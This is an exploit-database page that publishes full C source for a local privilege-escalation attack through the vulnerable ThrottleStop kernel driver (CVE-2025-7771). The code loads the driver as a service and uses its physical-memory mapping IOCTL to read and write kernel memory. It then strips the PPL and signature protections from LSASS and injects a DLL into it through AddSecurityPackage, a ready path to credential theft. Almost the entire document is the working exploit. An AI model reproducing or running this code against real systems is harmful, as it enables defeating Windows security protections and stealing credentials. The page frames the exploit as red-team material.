Throttlestop Kernel Driver Kernel Out-of-Bounds Write Privilege Escalation

2026.04.22
Credit: Xavi Beltran
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264

# Exploit Title: Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation # Exploit Details: https://xavibel.com/2025/12/22/using-vulnerable-drivers-in-red-team-exercises/ # Date: 8/12/2025 # Exploit Author: Xavi Beltran # Vendor Homepage: https://www.techpowerup.com/download/techpowerup-throttlestop/ # Version: 3.0.0.0 # Tested on: Windows 11 # CVE-2025-7771 #define WIN32_NO_STATUS #define SECURITY_WIN32 #include <Windows.h> #include <Psapi.h> #include <superfetch/superfetch.h> #include <tlhelp32.h> #include <string> #include <sspi.h> # define IOCTL_MMMAPIOSPACE 0x8000645C #pragma comment(lib, "Secur32.lib") #pragma pack(push,1) typedef struct { ULONGLONG PhysicalAddress; // +0 DWORD NumberOfBytes; // +8 } PHYS_REQ; // 0x0C #pragma pack(pop) // Struct needed to call nt!NtQueryIntervalProfile typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); LPVOID GetBaseAddr(LPCWSTR drvname) { LPVOID drivers[1024]; DWORD cbNeeded; int nDrivers, i = 0; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { WCHAR szDrivers[1024]; nDrivers = cbNeeded / sizeof(drivers[0]); for (i = 0; i < nDrivers; i++) { if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) { if (wcscmp(szDrivers, drvname) == 0) { return drivers[i]; } } } } return 0; } uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) { auto mm = spf::memory_map::current(); if (!mm) { printf("[!] Superfetch init failed!\n"); return 0; } auto phys = mm->translate((void*)virt_addr); if (!phys) { printf("[!] Translate failed for VA %p!\n", (void*)virt_addr); return 0; } //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys); // --- PHYSICAL READ --- PHYS_REQ in{}; in.PhysicalAddress = phys; in.NumberOfBytes = 0x8; ULONGLONG out = 0; DWORD br = 0; BOOL ok = DeviceIoControl(hDrv, IOCTL_MMMAPIOSPACE, &in, sizeof(in), // 0x0C &out, sizeof(out), // Accepts 4 or 8 &br, nullptr); //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out); if (ok && br == 8 && out) { ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsigned long long)virt_addr, (unsigned long long)result); return result; } return -1; } uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) { auto mm = spf::memory_map::current(); if (!mm) { printf("[!] Superfetch init failed!\n"); return 0; } auto phys = mm->translate((void*)where); if (!phys) { printf("[!] Translate failed for VA %p!\n", (void*)where); return 0; } //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys); PHYS_REQ in{}; in.PhysicalAddress = phys; in.NumberOfBytes = 0x8; ULONGLONG out = 0; DWORD br = 0; BOOL ok = DeviceIoControl(hDrv, IOCTL_MMMAPIOSPACE, &in, sizeof(in), // 0x0C &out, sizeof(out), // 8 (Accepts 4 or 8) &br, nullptr); //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out); if (ok && br == 8 && out) { ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos } // WRITE printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsigned long long)what, (unsigned long long)where); *(uint64_t*)out = what; return 0; } DWORD FindProcessId(const std::wstring& processName) { DWORD processId = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32W entry; entry.dwSize = sizeof(PROCESSENTRY32W); if (Process32FirstW(snapshot, &entry)) { do { if (!_wcsicmp(entry.szExeFile, processName.c_str())) { processId = entry.th32ProcessID; break; } } while (Process32NextW(snapshot, &entry)); } CloseHandle(snapshot); return processId; } int main() { DWORD lsassPid = FindProcessId(L"lsass.exe"); printf("[+] Target process PID: %d\n", lsassPid); //Installing the service SC_HANDLE hSCManager; SC_HANDLE hService; // Open the Service Control Manager hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (hSCManager == NULL) { printf("[!] Error opening SCM: %lu\n", GetLastError()); return 1; } // Create the service hService = CreateService( hSCManager, L"ThrottleStop", L"ThrottleStop", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, L"C:\\Users\\Public\\a.sys", NULL, NULL, NULL, NULL, NULL); if (hService == NULL) { printf("[+] Error creating service: %lu\n", GetLastError()); CloseServiceHandle(hSCManager); //return 1; } printf("[!] Service created successfully.\n"); if (!StartService(hService, 0, NULL)) { printf("[!] Error starting the service: %lu\n", GetLastError()); } else { printf("[+] Service started correctly.\n"); } LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe"); printf("[+] NT base: %p\n", nt_base); HANDLE hDrv = NULL; hDrv = CreateFileA("\\\\.\\ThrottleStop", (GENERIC_READ | GENERIC_WRITE), 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDrv == INVALID_HANDLE_VALUE) { printf("[-] Failed to get a handle on driver!\n"); return -1; } else { printf("[+] Handle on driver received!\n"); } ULONGLONG result = 0x0; // nt!PsInitialSystemProcess nt + 0x5412e0 ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0; DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess); printf("[+] EPROCESS: 0x%llX\n", Eprocess); DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void DWORD64 SearchProcessPid = 0; DWORD64 searchEprocess = Eprocess; while (1) { searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void if (SearchProcessPid == lsassPid) // LSASS PROCESS { break; } } printf("[+] Found LSASS EPROCESS!\n"); printf("[+] Removing PPL Protection...\n"); xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION printf("[+] Removing Signature Level Protection...\n"); xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar printf("[+] LSASS protections disabled\n"); CloseHandle(hDrv); SECURITY_PACKAGE_OPTIONS spo = {}; SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo); printf("[+] DLL Injection successful!\n"); return 0; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top